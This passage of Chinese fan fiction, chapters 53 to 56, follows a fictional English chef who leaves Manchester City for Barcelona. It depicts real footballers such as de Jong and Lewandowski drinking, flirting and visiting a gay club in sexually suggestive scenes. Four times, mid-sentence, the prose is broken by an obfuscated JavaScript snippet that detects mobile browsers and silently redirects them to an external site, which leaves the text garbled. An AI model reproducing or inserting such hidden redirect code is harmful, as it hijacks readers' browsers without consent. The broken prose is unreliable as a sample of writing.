他舍不得曼城,那里有他的朋友、同事、社交圈子,当然还有把他当家人一样的师妹、事业刚有点起色整天算计着还欠他多少钱的阿根廷弟弟、瞪着大眼睛说你要是走我就再也不理你的鲁本迪亚斯还有和他飙家乡话打暗语调戏他的格拉利什…… 他来到巴塞罗那,以为可以抛弃在曼城的一切重新开始,依旧被那个酷似德布劳内的背影给拽去了咖啡店,连钱包丢了都不急着去找。 现在,他报了案以后都不知道要去哪。 好不容易等到下午约好的时间,他去巴萨见了后勤总监,后者带着他转了一圈热情地给他介绍巴萨的历史和荣誉,然而他都不太感兴趣,他直言道我不是慕名而来的,我是慕钱而来的,我相信你们的底蕴可以付得起一笔看似高昂实际很划算的酬金。 他来到后厨了解了一下球星们的饮食习惯,听副主厨介绍了一些受欢迎的食谱,他撇撇嘴说,“怪不得饮食危机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871999|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 一家人瞪着他。 “实在是毫无新意。” 他扒拉扒拉菜架子上的新鲜蔬菜,又打开冷藏柜看看鲜肉和海鲜,再去看巴萨拟的动员宴会食谱。 “这些上好的食材要经历这么痛苦的虐待然后被端上桌去虐待我的客人,哦,杀了我吧。请问什么是蒸甘蓝?枫糖肉条?咸甜糯米羹?” 他两眼一翻,直接被菜单上的菜名给整萎靡了。 大家看着他,面面相觑,小声嘀咕。 “他什么来头,美食荒漠来的也配指指点点。” “五常里菜单最短的英国。” “他们吃的好像德国人还在头上飞一样。” 地狱笑话惹怒了这位还没上任就三把火的外聘临时主厨。 “没错,我是英国人,纯的,但是我最看不惯把饭菜做的难吃还叫人别浪费粮食,就算是炸鱼薯条焗豆子,我也能叫你们吃到舔盘子。” “咳咳……”总监先生咳嗽两声来缓解尴尬的气氛,刚想给大家隆重介绍大英请来的名厨,克里奇利就又跟上一句。 “不过抱歉,我不会做炸鱼薯条焗豆子,做别的一样叫你们舔盘子!” 简直是目中无人,嚣张到极致。 接下来就看他怎么堵住原住民的嘴了,一上来就先得罪一餐厅的工作人员,也不知道他哪来的无名火,撒完就走了。 第二天,他开始在厨房兴风作浪,除了改刀摆盘的帮厨之外,其他一律不信任,火候、调味、翻炒、直到最后的出餐全部由他一人完成。 动员宴会在优雅的蓝调音乐和柔和的灯光氛围下开始了,克里奇利也忙的告一段落,他看着菜品一个个被放到自助餐位上,然后在一边看着球星们前来取餐。 每次做完一次像样的工作,他都会找个地方抽根烟来放松一下,然后再回去看看取餐的情况。 这次,他一直靠在自助餐位的旁边,眯着眼打量着他的客人们来来往往,享受着他们对这些菜品发出的句句赞叹。 一道铁板鱿鱼配叉烧,鲜嫩可口,辛辣开胃,海带焗扇贝汁水丰富,一口入海,青柠龙虾,轻松脱壳,酥弹酸爽…谁说他不会做海鲜的,来到西班牙不把海鲜做到极致就是对欧洲海鲜消费大国的不尊重。 然而这么多好吃的还有没吸引住的人,那个中午在咖啡厅有过短暂接触的弗兰基德容,他端着餐盘靠近站在一边有些发愣的白衣绅士克里奇利。 “嗨!”他主动对克里奇利打招呼,手里端着一个空盘子。 克里奇利下意识拿起夹子给他夹了半只龙虾,再机械般的舀了两勺酱汁淋在上面。 “这是丢了多少钱啊?”德容皱着眉头又忍不住想笑,“你看上去有点,伤心。” “啊,这么明显吗?不过我没事,我会接受现实的。” “钱包丢了的现实?” 克里奇利撇撇嘴。 “它还可能找回来的。” “不寄予希望了。”克里奇利眼神有些暗淡,还是对这个他误认为是德布劳内的金发男人点了点头,“谢谢你,德容先生。” 54.第 54 章 晚餐进行的相当顺利,很多菜品被一扫而空,连汤汁都被后厨打包拿回去给小狗拌饭吃,真是应了他那句舔盘子的豪言壮语。 做这个他是专业的。 在宴会上物色新的猎物也一直是他擅长的,只是这次他有些力不从心。 他深色的瞳仁在晃动的灯光下像被雨淋湿了般亮晶晶的,但没有神采,也没有兴致,发呆半天最终落在德容的后脑勺上,他还是觉得像,除了说话时的神态和举止,他有种少年气的自由,一种阳光不惧岁月的张扬。 当然,他才25,6岁吧,是一款活泼外向的德布劳内。不,他晃了晃头,不要再去想他,他们之间已经如同被剪开的绳索,就此断开。 宴会结束,克里奇利也收拾收拾准备下班。 外面的天色已经完全黑了,只有几辆稀疏的出租车停在礼堂门口。 今天很累,他打着哈欠和大家道别,没有余力帮他们收尾,毕竟他这一晚上单打独斗了那么久,已经超值了。 刚走到门口就被一只手给搭上了肩膀。 回头一看,竟然是莱万多夫斯基。 莱万习惯性地给出笑容,友善地问,“克里奇利先生,你还记得我吗?” “啊……”克里奇利脑子飞速地运转,他不记得以前和莱万有过什么交集。 “唉,好失望啊!”他说。 “对不起,莱万多夫斯基先生,大概是之前随曼城和巴萨踢比赛的时候有过一面之缘?” “你真是贵人多忘事,你当时不是在阿森纳?” “噢这样,我在阿森纳的时候还不算个合格球迷,因此没认出来你,真抱歉,莱万多夫斯基先生。” “叫我罗伯特吧,这世界真小,当时我就听基维奥尔说他们餐厅老好了,请了一位名厨,还指了指你,你忘了,你还看过来冲我笑了笑。” “啊,没想到这也能给你留下印象。”他想说那一定是你太迷人了,主动放电还不是他基操,但现在的他反而调不起情来了。 “那当然了,克里奇利先生,今晚我才知道,之前我吃的都是嘛玩意!” “哈哈哈哈…”克里奇利被他奇怪的英语发音逗笑,“叫我布莱恩吧,以后想吃什么随时告诉我,波兰饺子?” “okok,太好了!布莱恩!”莱万抓住他的手一直摇着不放。 克里奇利在想,巴萨的人都好热情,一如这温暖的晚风,吹得他都心生困意了,但他还是没想起来曾对莱万笑过,不过莱万之前都没来打招呼,忽然这时候来套近乎,是什么意思呢? “那个,我们一会有个二场,我想知道英超的兄弟们都喝什么酒,你能来指点一二吗?” 莱万继续释放着他的e人社交本事,一直黏糊的拉着英国人的手。 克里奇利没想好要不要拒绝,这时,弗兰基德容从卫生间里走出来,看到他俩还在大厅门口堵着门吹冷风,于是走过去对莱万说,“嗨,罗伯特,你可真墨迹。” “嘿,弗兰基,是你让我施展明星效应的,我还没来得及说服他,你就来了,交给你了小队长。” 他朝着克里奇利挤了个wink,然后出门上了车,留给他们一个潇洒的背影。 他们都约好了,6个人两辆车,门口的高级商务车就是他约的专车。 德容抬起头看向克里奇利的脸,宴会厅里灯光忽明忽暗没怎么看清,现在离得很近,他仔细端详克里奇利的脸,不太确定他会不会拒绝自己。 “你眼睛还是绿色的呢。”他忽然说了一句不受大脑控制的话,引得克里奇利愣了一愣,没反应过来他如此跳脱的话题,不知道该怎么接,他想回应他,一般清晨醒来的第一束光照过来才会使我的眼睛看上去发绿,不过我已经忘了是哪个小可爱这么告诉我的。 “你观察的真仔细。”他只好点头报以微笑。 “em,罗伯特和你说了吗,太冒昧了,我说别打扰人家了,刚来巴塞罗那就被偷钱包了,心情还很低落,又忙了一晚上,应该很累了。” 他一边说一边拉着克里奇利的胳膊往外走,继续说着连腔调都和德布劳内有些相似的英语,对,他是荷兰人,他们说英语都有一些微微上扬的语调,让克里奇利有些恍惚。 加上德容喝了一些酒,面容还红扑扑的,和他说话时仰着脸微笑着,有一种莫名的熟悉感。 也许正是这种熟悉感让下午的克里奇利蒙头蒙脑的就尾随人家进了咖啡厅,连钱包被偷了都没急着去找。 一晚上也是时不时地目光交错,克里奇利感应的到有人一直在看他。 “不冒昧,只是我酒量不大好。”他很少说自己酒量不好,他是酒品不大行,喝点酒就容易乱,乱完了还失忆。 “那你愿意来吗?” “你得找一个可以手机支付的酒吧,这样我不至于太尴尬。” “哈哈哈…罗伯特请客,他今晚吃嗨了,一定要走个二场。” 他刚一上车,德容就遭到众人的调侃。 莱万坐在副驾驶上,回头对德容说,“我们小队长魅力就是大。” 坐在后排的加维笑出小白牙,附和了一句,“我们小队长是谁呀!181,金发,进攻中场,说荷兰人语…” 还没等加维把话说完就挨了德容一肘子。 他这话倒是把克里奇利说的口渴了。 看来他的绯闻都传到西班牙了,唉,要赶快澄清才好,千万别再发酵了,保护德布劳内从我做起,他试图拼凑起内心少的可怜的责任感碎片。 一晚上除了喝酒闭口不谈个人问题,不过他确实酒量不行,给莱万推荐了几款英国人喜欢喝的酒,被嘲跟饮料似的,他就忽然来了劲,和莱万喝了十个雷子,然后被德容揪起双手拉到卫生间去吐。 灿金色的酒液灼伤了他的咽喉,也灼伤了他的眼睛,不知道为什么,德容在一边轻轻拍着他的后背竟然把他拍哭了。 爱都是没结果的,他一边干呕一边笑话自己,明明知道会失去,还非要沦陷,现在这个痛啊,活该。 走了这么远,死去的爱情还在攻击他,让他破碎的好像一件被揉坏的名画,眼睛湿润,样子很乖,吐完了磕磕绊绊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890086|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伏在洗手台上,大把大把的撩起水,打湿了头发,脸颊和白色衬衫。 “对不起。”德容擦了擦被他溅到脸上的水花,有些自责的说,“真不该叫你来喝酒,你看上去状态不太好。” “没事。”他嗓音沙哑,眼尾猩红,下眼睑的毛细血管都被剧烈的呕吐给撑爆了,看上去像一只受伤的猎犬,并不像传闻中那么刚硬,一看就是铁1,现在看来是个0.5,德容在臆想。 “我都说了我酒量不好,和斯拉夫人怎么比,但他说我们英国人喝的都是饮料那我不得为英国人争口气啊。”他一身酒气扑面而来。 “害,罗伯特就那样,喝多了更是唯他独尊,你还没见过他吐的稀里哗啦的时候。” 说完,德容回头看了一眼,确保莱万的糗事没被别人听到。 “我没事了,你回去吧,我自己可以。”克里奇利推着德容往外走。 “那不行,你是我叫来的,我得确保你真的没事。”德容反手又扶住他。 回到卡座一看,都东倒西歪的没一个清醒的,德容摇了摇头,说今晚真不该再出来喝二场,明天训练都迟到了教练要唯他是问的。 先送回去一个是一个吧。 他和吐了以后清醒了3分的克里奇利叫了酒吧服务,把这些烂醉如泥的家伙们一个个送上了车,又联系了他们的保镖助理接应。 最后没怎么喝酒的德容坚持要把克里奇利送回酒店。 这会克里奇利酒劲儿又上来了,因为胃里空了,酒精很快就进入血液,他看德容越看越熟悉,打开酒店房门后,什么都不说的就扑倒了德容,接着就昏死过去。 德容被他压在床上,费了半天劲才把他翻过去,脱了他一身酒臭味的衣服和裤子,拉上被子又站在那里看了他半天。 这人多半是废了。 像断了线的木偶,强撑着自己完成工作,在压力过后又忍着倦意应酬了一夜,现在终于撑不住了,像死了一般一动不动,连呼吸都没了力气,现在再偷他钱包他都不会有反应,偷他的人也不会有反应。 德容晃了晃脑袋。 他看自己的眼神有一种虚弱的诱惑,就是断翅的蝴蝶试图再飞的勉强感,说喜欢吧他没有表现出一个gay应该主动拉丝的神态,说不喜欢吧,他几乎看了自己一晚上。 也许单纯是认为自己长得像德布劳内吧,如果是这样的话,那人可太狠了,把他伤的如此之惨,等下次有机会见到德布劳内,一定要告诉他,废掉一个人就是重视他,然后背刺他,让他报销整个赛季。 可德布劳内踢球比较文明,这么影射他也不太合适,而且自己还不了解实情。 那么,他很想了解一下。 他看着熟睡的克里奇利,任性的想要试试。 他凑近了些,看着那人鲜红的嘴唇,反应竟然是想伸手摸摸,这些莫名其妙的想法把他自己也吓了一跳,对传闻中的铁1这么没有抵抗力吗? 理智把他拉了回来但心跳不止。 自己没喝多少啊,怎么也上头了,不怪德布劳内,这谁看谁不迷糊。 55.第 55 章 克里奇利醒来,酒精的效力似乎还在发作,很久没宿醉了,他的神思慢慢回笼,头痛也随之而来。 他左右看了看陌生的房间,又掀起被子看看自己,愣是没想起来他是怎么回来的,衣服谁脱的。 幸亏没带小帅哥回来,不然一准又不认识了。 今天什么行程,这酒是真不能喝太多,30了不再是小青年了,对于他这种和朋友说过40就死的人现在已经是青春的暮年,酒精代谢越来越差了,脑子也越来越混沌。 他给助理发了消息,得知今天没工作,等着巴萨联系。 曼城那边已经雇了新的主厨,球员正在闹情绪,没办法eleven顶着压力把他原来菜谱里的几道经典菜复刻了下来,然而效果也并不怎么好。 “你是不是下毒了?”克莱尔再次怀疑他用食物勾人胃又勾人心的本事。 “我有毒。”克里奇利也不否认自己菜做得好是不假,人情分还是有的,不然凭eleven的造诣,模仿他没有10分也有8分,只是她不知道,葡萄牙人对热量要求很严苛,克罗地亚人赛前不吃蜂蜜烤肉就不开心,比利时人不喜欢酸番茄酱,这一点他走的时候可是对eleven交代了好几遍。 eleven只是一个劲儿的抽泣,说着我记得比你清楚,只是你走了没人替我挨骂了。 克里奇利只好安慰她,谁敢骂你,你就给我打电话,再骂我一顿不就行了。 工作是工作,生活是生活,谁要是把工作当全部那纯属没事找罪受,所以骂就骂呗,不服就怼两句。 他也非常清楚自己始终是个绝情孤傲的人,注定一世漂泊,但不影响他享受人间繁华然后做个风流鬼。 可自从捡了阿根廷弟弟,和比利时撕漫男谈了一段恋爱后,他发现自己坠入美丽生活的漩涡,虽然不平静,但让他转不出来。 他终于主动给托马斯去电。 彼时的托马斯正在新加坡排练。 “噢!哥!你终于给我打电话了,我好想你。” 托马斯那边传来吵闹的音乐,依然没压住他兴奋的叫嚷。 “嗯,排练节目呢?”克里奇利一张口没想到自己的声音这么嘶哑,他清了清嗓子。 “是的,一会要走台彩排,你的声音听上去不太对,又喝酒了?” “刚起来而已。”他听见托马斯高昂的声音就能想象到他一脸朝气的样子。 真不错啊,他好像过了生日后瞬间长大了,每天都在忙,和以前破罐子破摔还理直气壮的小傻子完全不同,大概这就是爱情和事业都有起色的缘故,真为他感到高兴。 不过,他还是嘴毒的像被毒蛇咬了,“你那边帅哥美女太多了,你最好别学我,利用美丽的外表去做些越界的事。” “哈…哈哈哈…”这是托马斯听到过最油腻的忠告。 “放心吧,哥,就当你关心我的事业和爱情了,我知道该怎么做,不过还是谢谢你。” 没说几句,托马斯就被舞台导演给叫去台上站队了。 “记得世界先生总决赛收看网络直播啊!” “什么时间…”还没等说完,托马斯就挂了电话。 如果有时间,他想专程到现场去支持他。人人都有亲友后援团,为自己人拉票宣传,托马斯凭实力圈粉,现在也拥有了小几万的粉丝,但是只有亲友才可以持票入场。 克里奇利想到这儿赶紧查一下总决赛的时间,这时他助理又打来电话,说巴萨叫你去开会。 他只好顶着鸡窝头一脸不情愿的爬起来,心想我可真愿意为资本家打工啊,为什么我不能自由点,想去哪就去哪,想接谁的活儿就接谁的活儿,做一个自由职业者。 后来一想,真正的自由不是想干什么就干什么,而是不想干什么就不干! 所以他在巴萨行政后勤会议上面对巴萨提出的试用条件以及奖金浮动规则,只是微微一笑,他说,“我只是为你们季前赛提供有价值的服务,可没说要留下,是我试用巴萨,而不是巴萨试用我。” 如此嚣张的口吻竟然出自一个幕后搞餐饮的,可餐饮是人最重要的需求不是吗。在裹腹的基础上,如果好吃再加上正是你想吃的,那不是给人享受和安慰是什么。 他当然知道昨晚的宴会很成功,不然也不会一大早就把他叫来谈试用期和奖金的问题了。 开了个尴尬的会之后,他还是会尽心尽力的为巴萨球员开小灶,扭转餐厅难吃而球员不得不吃的落后局面,最好再抓住几个关键人物的胃,让他们也像西班牙大鲨鱼一样生猛。 可惜梅西不在这,不然他也能把梅西养成一个威猛先生,让对面的人看见他跑过来就腿肚子打哆嗦。 哈兰德就是这么养起来的。 克里奇利曾经对他说:“你这么瘦不好看。” 哈兰德说:“我不要好看,我要吓人,要多吓人有多吓人的那种。” 克里奇利给他订空运的挪威海鱼,当着他面或者录视频给他看三文鱼分解过程。 相当解压的同时让他相信这就是顶级挪威三文鱼,因为只有挪威三文鱼才有标志性的色泽和细腻紧实的口感,而且一点腥味儿都没有! 他一高兴就生吃对面后卫和门将,像吃三文鱼一样,一口咬一个月牙出来,让人一看就知道是他咬的,别人没这么大嘴。 上个赛季哈兰德以36球摘得英超金靴,只德布劳内的助攻就有12个。 哈兰德激动的不仅给全队送了挪威山妖作为感谢,他说放在家里会辟邪,还给后勤众人发了大红包,还给克里奇利一个大大的熊抱,说你知道吗布莱恩,我一有情绪问题的时候就看你给我发的解鱼视频,太丝滑了,你刀工太好了。 克里奇利说我不仅刀功好,其他攻也不错。 但那个时候正好和德布劳内闹别扭,不然克里奇利就发动他那有的放矢的攻势,品一品挪威海怪的滋味儿了。 想的远了,克里奇利现在还不了解巴萨,昨晚的宴会只是通杀的基本操作而已,迎合了大众口味,收获了还不错的评价,接下来要跟队服务,他必须了解大名单上这些人的口味,来争取一个好极了的五星好评才行。 循窗望去,球员们还在训练,由于是季前赛大家你一脚我一脚的还算轻松。 莱万和德容在对位,互相戏耍对方,德容都快把莱万裤子拽下来了,而莱万不管掉裆的裤子,细碎又急促的脚步准备穿裆过人,被德容识破两腿一夹,差点击中关键部位,引的佩德里和加维在一边笑到模糊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894753|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>昨晚是和这些人喝的酒吧。他依稀记得有人说你一定是特别欣赏我才会来参加我们的酒局的,还有人说你眼睛都喝绿了,但他分不清谁说的了。 他正在想着,球员们已经大汗淋漓的走进来,莱万看见他,过于亲密的上前就勾住了他的脖子。 克里奇利有些诧异,他完全忘了昨晚和莱万拉雷子称兄道弟差点拜把子的情景。 “你来啦!布莱恩。” “嗯。” “你还好吗?” “我很好,罗伯特。” “哈哈!我想问你服不服?” “什么?” 克里奇利不知道他说的什么服不服,昨晚都干什么了? 这时德容把莱万拉过来,说了一句,“罗伯特,你总是欺负新朋友,他也不差好吗。” 克里奇利被莱万蹭了一脸的汗,这才反应过来他说的是酒量。 害,他想起来了,昨晚他吐了以后回去他们都倒了一片,还是他和德容送他们上车的。 “罗伯特,运动员还是别喝酒,我下次给你弄点米酿喝喝。” 他刚说完,德容就笑呵呵的钻到他怀里拍了他胸脯一下,然后在他耳边咬着牙轻声说,“别提酒这个字。”说完又哈哈哈的寒暄了几句,就跟着大部队从行政总监的眼皮子底下溜走。 曼城的球员也不敢当着高层讨论昨夜的宿醉,当然巴萨也不行。 克里奇利看了德容一眼,觉得在这一点上,他和德布劳内还是不一样的,德布劳内才不稀的管这些破事,谁被发现喝大酒谁挨罚,反正他是从来不把自己灌醉。 德容管不了就只好帮他们打马虎眼,实在兜不住了就和他们一起挨罚,好几次差点被剥夺队长袖标,硬是被队友们屡次投票给保住,他脾气是真的好。 克里奇利也慢慢想起来,昨晚是德容半抱着他去卫生间吐,他还把胳膊搭在德容的肩膀上对着他撒酒气,不知道胡言乱语了些什么。 那送他回酒店帮他脱衣服的也是这位热心又负责的小队长喽。 他们在浴室洗澡,莱万一直在照镜子,欣赏自己的腹肌胸肌肱二头肌,还发出啧啧的称赞。 突然他拉住德容问他:“你说我这样的肌肉群好看还是布莱恩那样的好看?” 德容皱紧了眉,脸上肌肉抽了抽,说,“你没毛病吧?” “你们这些不愿意露肉的人不懂,健身都是给男人看的,没有对比就没有伤害。” “你怎么知道布莱恩的肌肉好不好看,你看了?” “……”莱万顿了一下,他虽然没看但昨晚搂着布莱恩喝酒基本上摸了个遍,胸肌饱满,腹肌平滑,手臂紧实流畅,应该是个猛男。 “我没看,有机会和他比比。” 他没看,德容可看了,他觉得还是克里奇利的肌肉群好看,薄厚均匀,软硬适中,皮肤不明晃晃的白,也不晒得过头,基本上和脖子以上同色系,白皮透着红,有一点淡淡的浅金色,不同于英国人没有上嘴唇的刻板印象,他嘴唇不薄不厚,唇线性感,微微张开… 德容不受控制的想起昨晚醉酒的克里奇利,赤着身子躺在床上像一件精雕细琢的博物馆艺术品,比例和饱和度都太绝了。 想着想着他就激动了。 56.第 56 章 夜色将至,狩猎时间到。 西班牙总给人一种白天炽热奔放,夜晚躁动不安的感觉。 这里有阳光、沙滩、美食以及极负盛名的足球文化,还有灯红酒绿摇曳生姿的夜晚,就像市中心充满艺术气息和工匠精神的地中海建筑一样充满生命力和性张力。 克里奇利知道如何让自己重焕生机,这只不过是第2个伦敦。于是不到2天,他就要出去适应社会了。凭借他优秀的嗅觉和敏感的身份探测雷达,没用多久就找到了根据地。 热浪会所,位于市中心,旁边就是著名的Axel酒店,没错,这里和伦敦的蝴蝶大道一样,是酷儿们的天堂,巴塞罗那的兰布拉大道以及整个街区全是彩虹酒吧以及私人会所。 克里奇利一身深色西装,板正收紧的白衬衫领口系一条黑色领带,看上去像个禁欲系绅士,然而他这么保守的穿搭来到这里会特别想让人像剥洋葱一样把他剥个精光。 他许久都没在这么多人的舞池里跳舞释放自由基了。碰巧今天还赶上变装舞会,不仔细看真的分辨不出来和他跳舞的是男士还是女士。 而在包间里的一个红色沙发上,一双幽蓝的眼睛透过窗帘的缝隙在注视着他。 水晶酒杯里盛的是橘子味的苏打水,在他手中不停地旋转,舞池里那么多人,他眼睛只盯在一处,内心有些焦躁的数着到底有多少人拽过那人的领带,把他塞在腰带下的衬衫一点一点地揉上来,再扶着他的腰大跳贴身舞。 他身上一定沾满了乱七八糟的香水味脂粉味儿和汗臭味。 想到这,男人把橘子味的苏打水一口饮尽,不料还呛了一口,猛烈的咳嗽几声,眼睛都起了雾。 自己跟踪他来这到底什么目的,难道只是确认他是不是新闻里说的有模有样的别人的男友,不过他都来这儿了,可以盖棺定论,而且想必也分开了吧。 那确定了之后呢,再确定他看自己的眼神是不是那个意思,想找一个替代品。 慌了,现在不是他在看自己,而是自己在偷窥他。 下午还和克里奇利说话的德容此刻简直要疯了。 仅仅2天的功夫,从咖啡馆的偶遇,到俱乐部的聚餐,再到今天下午和莱万说起他的身材,以及今晚……哦天哪! 德容看见克里奇利脱了衬衫,只穿一件无袖白T恤,露出他结实硬朗的上臂肌肉。接着他的T恤也被一双游离的手给脱掉,随手扔在卖烟酒小哥的货盘上,小哥还没等反应过来,就被另一个人给拿走了。 拿他衣服干什么,难道要讨个一面之缘? 坐不住了,他突然有一种什么宝贝被人看了的嫉妒感,虽然这个宝贝还不是他的。 他立即起身,不顾保镖的阻拦,带上鸭舌帽就出了包间。 他穿过人群时,不太应景的蓝色运动T恤也被人摸了好几次,他没有直接靠近克里奇利,而是找到手里攥着克里奇利T恤正等着T恤的主人跳完这支舞就来找他的一个年轻“女士”身边,准备出钱来买这件T恤。 “开玩笑呢,先生,这可是我今晚物色的目标。” 年轻“女士”看上去和德容差不多大,也是金发,只是“她”穿着连衣裙,踩着高跟鞋,一开口的声音却很让人意外。 没错,这是一个变装人士。 长相干净甜美的德容一点不输浓妆艳抹的“美女”,虽然有点生气但他也尽量克制自己的脾气,“1000.”他说。 1000买一件背心?这件背心就算是名牌也就100欧出头吧。 但这里的人想要得到某种东西是有特殊目的的。 “2000.” “成交。” 德容得到了这件有着乱七八糟味道的T恤好像获得了什么战利品,他自己都不知道想要接近一个人还用得着去买他的贴身之物。 在遇到克里奇利之前他还是个正常人啊,现在怎么什么定力都没有,甚至连情商智商都跟着掉线。 他把这一切归咎于动感的音乐,迷离的夜色和一个浑身散发性感撩人气息的gay man,难道自己也是queer,性别没完全分化,只在遇到他时得到了二次分化,分化成了一个omega? 什么玩意,德容摸了摸自己的脖子,那里并没有什么突突跳动的腺体,他平时看abo小说看多了。 这个克里奇利太像他看的小说里的男主,因为失恋后信息素紊乱到处乱咬,把一个beta咬的遍体鳞伤,然后不负责任的拂袖而去,还在那个beta分化成omega的时候来嘲讽他,最终因为信息素太过吻合而不得不在易感期腆着b脸求omega让他标记。 他看见小说里这个攻就想把他勾过来,榨干他,叫他这么猖狂,但他怀疑自己只是个beta,这个攻不会看上他的。 现实里,克里奇利就像那个刚失恋的alpha,正在到处释放信息素寻求一个主动让他标记的人,这里的人太多了,一个分心,他就不见了。 地下室里,身躯交错,高低起伏。 德容拿着他的衣服壮着胆走进去。他只在电影里看过这种场面,当激情四射的画面出现在三次里,让大场面先生也禁不住快要流鼻血。 他在狭窄的过道里小心翼翼的穿行,生怕碰到旁边一对对临时cp,终于在走廊的尽头看见了那个高大的身影,廊灯有一个坏掉了,忽明忽暗的灯光照在那人微微泛红的脸上,他正仰着脖子享受他人“服务”。 德容突然又后悔了,他脚步停滞,手里攥着2000块的T恤想找个地方丢掉。 这时有个醉汉撞了他一下,把他的帽子蹭掉了。 他弯腰去捡帽子,那个醉汉就从他身后搂他的腰冒犯他。 “嘿!fuck you!”德容被激怒,用力推了那人一把,直接把这个醉汉推倒在湿滑的地上。 有些大的动静引起克里奇利的注意,他皱紧了眉头,目光中有震惊也有不解。 德容这么大的目标怎么会出现在这里。 一种身份保护意识蹭的一下从他的心胸窜了上来。 以前他不懂得要去保护别人,现在他突然被一场恋爱给教育了一顿,不想再有谁被牵连,但是现在他还不清楚德容为什么会出现在这里。 不管他为什么出现在这里,不可以让他被欺负。 克里奇利拍了拍面前这个卖力男人的肩膀,和他说,我有个熟人对不起。 刚走过去就看见德容已经把那个企图欺负他的醉汉给踢瘸了,后者被另一个高大的黑人大块头给提溜出去了。 德容抓了抓自己的头发,又戴上了帽子。 但人群中窸窸窣窣的好像有人在猜测他的身份,甚至有人试着喊出他的名字。 克里奇利看到他手里还抓着一件看着眼熟的白色背心。 “克莱尔,我都说了不用给我送衣服,我还有。”他故意把他的名字叫的很大声,还脱口叫出了他助理的名字,接着用宽厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903733|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀遮挡住他,揽着他的腰走出了地下室。 他穿上德容递过来的他的白T恤,然后听他语无伦次的解释自己为什么会在这,好像英语失灵了。 他只想问自己的白T恤为什么在他手上。 “那个…我看你的衣服被人偷走了,就想你一会难道要,要光着出去吗,处于为你的担心就把它拿回来了。” “怎么拿回来的?” “别管了。” 他看着克里奇利接过工作人员递给他衬衫和外套,才知道他已经把衣服寄存了,不会光着出去。 他不愧是一个有经验的逛“吧”人士。 克里奇利穿好衣服,低头看向同样低头看他鞋面的德容,突然发现他脸上有一处细小的擦伤。 他捏起了德容的下巴,偏向一侧,仔细看那处伤口,好像过敏了一样有一块发红,还破了点皮。 “啧。”克里奇利有些担忧,谁知道这地方有没有病毒。 他顾不上问他怎么会在这,现在只想带他去医院处理一下。 他匆忙的拉着他的手走出酒吧。 今晚没有月亮,大道上只有被路灯拉长的形影幢幢的树影,腥咸的海风吹过来,树叶发出哗哗的响声。 要是一个人在路上走还有点害怕,要知道这个点的夜路的确不安全,搞不好会遇到飞车d。 德容被他护在里面走,偶尔遇到一两个人他就把胳膊收的紧一紧,生怕怀里的人被人看了去。 德容手机响个不停,他抽空给保镖回了信息,告诉他自己很安全。 好不容易找到一个私人医院,按了半天门铃才叫醒值班医生。 克里奇利对医生说明了情况,德容有些难为情的低着头不说话。 做了一下消毒处理后,为了避免伤口感染,医生给他开了阻断药。 “这种擦伤概率极低,不过为了谨慎起见还是越早服用越好。” 医生给他接了杯水,他也没想太多,听话的把药喝了。 这一宿留院观察,克里奇利也没走,说实话他也挺担心的,毕竟德容是拿着他的衣服来找他,这事跟他也有关。 “你说你没事来这种地方干嘛?还嫌自己不够显眼吗?” 克里奇利把这一路上的担忧转成了焦躁,不知不觉又拿出数落人的语气,完全没有他们才刚认识的拘谨和客气。 “我…”德容心知理亏,他就是来跟踪他的,想确认他的取向,看看他是top还是bottom,单纯的好奇而已。 好奇害死猫,他知道错了,但是他不改。 他拉过被子转过去,皱着眉头发出委屈的一声叹息。 克里奇利抱着肩膀板着脸坐在他对面的椅子上,看着他金灿灿的后脑勺,很想凑过去给他一个吻,安抚他今晚受惊的心。 但他想了想没有这么做,只是抬抬手,拍拍德容的肩膀,语气柔下来,对他说,“别害怕,你一定会没事的,我这么混乱的一个人都没事。” 德容不说话,内心对这个花花公子既有好感又有怨言。 